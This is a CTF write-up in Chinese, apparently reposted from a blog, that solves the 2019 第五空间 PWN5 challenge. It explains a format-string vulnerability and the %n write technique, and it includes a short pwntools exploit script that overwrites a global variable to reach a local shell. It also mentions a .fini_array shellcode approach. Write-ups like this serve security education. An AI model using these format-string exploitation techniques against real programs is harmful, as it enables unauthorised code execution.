[CTF][第五空间2019 决赛]PWN5 1

2024-06-04 17:38
文章标签 ctf 空间 2019 决赛 第五 pwn5

本文主要是介绍[CTF][第五空间2019 决赛]PWN5 1,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

解题思路

反编译后的源码:

  srand(__seed);// 生成随机数iVar1 = open("/dev/urandom",0);read(iVar1,&DAT_0804c044,4);printf("your name:");// 读取输入read(0,local_78,99);printf("Hello,");// 打印输入printf(local_78);printf("your passwd:");read(0,local_88,0xf);iVar1 = atoi(local_88);// 判断输入密码是否与前面的随机数相等。if (iVar1 == DAT_0804c044) {puts("ok!!");system("/bin/sh");}else {puts("fail");}

经过分析,找到突破口:printf(local_78); 该处会原样打印输入。可利用格式化输出写入或打印相关值。
知识点:
%xc%y$n
y为需要写入的地址值,x为输出长度,也是需要覆写的值。其中y一般利用栈上的数据。

那需要解决的问题如下:
如何覆写DAT_0804c044的值,使之与后续输入的密码相等。

  1. DAT_0804c044的地址
    DAT_0804c044为全局变量,可以直接使用该变量虚拟地址0x0804c044。

  2. 如何覆写
    gdb调试发现,printf的时候,栈上并没有可利用的值。
    经过一番实验、搜索、再实验(很痛苦漫长的过程)后,找到下述方法:
    利用输入构造需要写入的地址
    难点在于找到可以利用该地址的堆栈位置,寻找方法:输入AAAA%x$p, x为栈上存储输入的相对位置,一般不会太远。当输出伟AAAA0x41414141时,即为所找位置。
    找到该位置后,即可编写脚本:

  1 from pwn import *23 sh = process('./2019pwn5')4 sh.recvuntil('e:')5 sh.sendline(p32(0x0804c044) + b'%1c%10$n') // 10为找到的栈上相对位置6 sh.recvuntil('d:')7 sh.sendline('5') // 4个字节的地址+1个字节 = 58 sh.interactive()

附录即为寻找到的方法,文章中更进一步的,提到了利用printf执行shellcode的方法,即将shellcode写入
.fini_array段中。当然,本题不需要,但是是可以借鉴的一个点。

附录:

  1. printf Format String Exploitation

这篇关于[CTF][第五空间2019 决赛]PWN5 1的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1030677

相关文章

MySQL启动报错:InnoDB表空间丢失问题及解决方法

《MySQL启动报错:InnoDB表空间丢失问题及解决方法》在启动MySQL时,遇到了InnoDB:Tablespace5975wasnotfound,该错误表明MySQL在启动过程中无法找到指定的s... 目录mysql 启动报错:InnoDB 表空间丢失问题及解决方法错误分析解决方案1. 启用 inno

在Java中基于Geotools对PostGIS数据库的空间查询实践教程

《在Java中基于Geotools对PostGIS数据库的空间查询实践教程》本文将深入探讨这一实践,从连接配置到复杂空间查询操作,包括点查询、区域范围查询以及空间关系判断等,全方位展示如何在Java环... 目录前言一、相关技术背景介绍1、评价对象AOI2、数据处理流程二、对AOI空间范围查询实践1、空间查

MySQL表空间结构详解表空间到段页操作

《MySQL表空间结构详解表空间到段页操作》在MySQL架构和存储引擎专题中介绍了使用不同存储引擎创建表时生成的表空间数据文件,在本章节主要介绍使用InnoDB存储引擎创建表时生成的表空间数据文件,对... 目录️‍一、什么是表空间结构1.1 表空间与表空间文件的关系是什么?️‍二、用户数据在表空间中是怎么

CentOS7增加Swap空间的两种方法

《CentOS7增加Swap空间的两种方法》当服务器物理内存不足时,增加Swap空间可以作为虚拟内存使用,帮助系统处理内存压力,本文给大家介绍了CentOS7增加Swap空间的两种方法:创建新的Swa... 目录在Centos 7上增加Swap空间的方法方法一:创建新的Swap文件(推荐)方法二:调整Sww

查看Oracle数据库中UNDO表空间的使用情况(最新推荐)

《查看Oracle数据库中UNDO表空间的使用情况(最新推荐)》Oracle数据库中查看UNDO表空间使用情况的4种方法:DBA_TABLESPACES和DBA_DATA_FILES提供基本信息,V$... 目录1. 通过 DBjavascriptA_TABLESPACES 和 DBA_DATA_FILES

Linux环境变量&&进程地址空间详解

《Linux环境变量&&进程地址空间详解》本文介绍了Linux环境变量、命令行参数、进程地址空间以及Linux内核进程调度队列的相关知识,环境变量是系统运行环境的参数,命令行参数用于传递给程序的参数,... 目录一、初步认识环境变量1.1常见的环境变量1.2环境变量的基本概念二、命令行参数2.1通过命令编程

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

【高等代数笔记】线性空间(一到四)

3. 线性空间 令 K n : = { ( a 1 , a 2 , . . . , a n ) ∣ a i ∈ K , i = 1 , 2 , . . . , n } \textbf{K}^{n}:=\{(a_{1},a_{2},...,a_{n})|a_{i}\in\textbf{K},i=1,2,...,n\} Kn:={(a1​,a2​,...,an​)∣ai​∈K,i=1,2,...,n

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

win7系统中C盘空间缩水的有效处理方法

一、深度剖析和完美解决   1、 休眠文件 hiberfil.sys :   该文件在C盘根目录为隐藏的系统文件,隐藏的这个hiberfil.sys文件大小正好和自己的物理内存是一致的,当你让电脑进入休眠状态时,Windows 7在关闭系统前将所有的内存内容写入Hiberfil.sys文件。   而后,当你重新打开电脑,操作系统使用Hiberfil.sys把所有信息放回内存,电脑